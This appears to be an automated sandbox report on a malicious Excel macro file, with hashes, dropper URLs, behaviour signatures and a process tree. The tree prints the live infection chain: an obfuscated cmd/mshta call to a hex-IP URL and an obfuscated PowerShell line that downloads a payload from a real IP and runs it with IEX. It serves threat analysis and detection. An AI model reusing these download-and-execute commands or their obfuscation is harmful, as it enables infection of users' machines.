Resubmissions

19-01-2022 07:33

220119-jdxdnafgg4 10

19-01-2022 07:28

220119-jay33sfhfq 10

Analysis

  • max time kernel
    23s
  • max time network
    40s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    19-01-2022 07:33

General

  • Target

    d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm

  • Size

    114KB

  • MD5

    f8ecaf3d4168b075f418c121a763ae0f

  • SHA1

    cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3

  • SHA256

    d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

  • SHA512

    bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/sec.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3720
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        PID:2248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
            PID:632
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 2248 -s 1732
            4⤵
            • Program crash
            PID:860
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 368 -p 2248 -ip 2248
      1⤵
        PID:988

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      3
      T1082

      Query Registry

      2
      T1012

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1696-130-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp
        Filesize

        64KB

      • memory/1696-131-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp
        Filesize

        64KB

      • memory/1696-132-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp
        Filesize

        64KB

      • memory/1696-133-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp
        Filesize

        64KB

      • memory/1696-134-0x00007FFF9C0B0000-0x00007FFF9C0C0000-memory.dmp
        Filesize

        64KB

      • memory/1696-137-0x00007FFF99F50000-0x00007FFF99F60000-memory.dmp
        Filesize

        64KB

      • memory/1696-138-0x00007FFF99F50000-0x00007FFF99F60000-memory.dmp
        Filesize

        64KB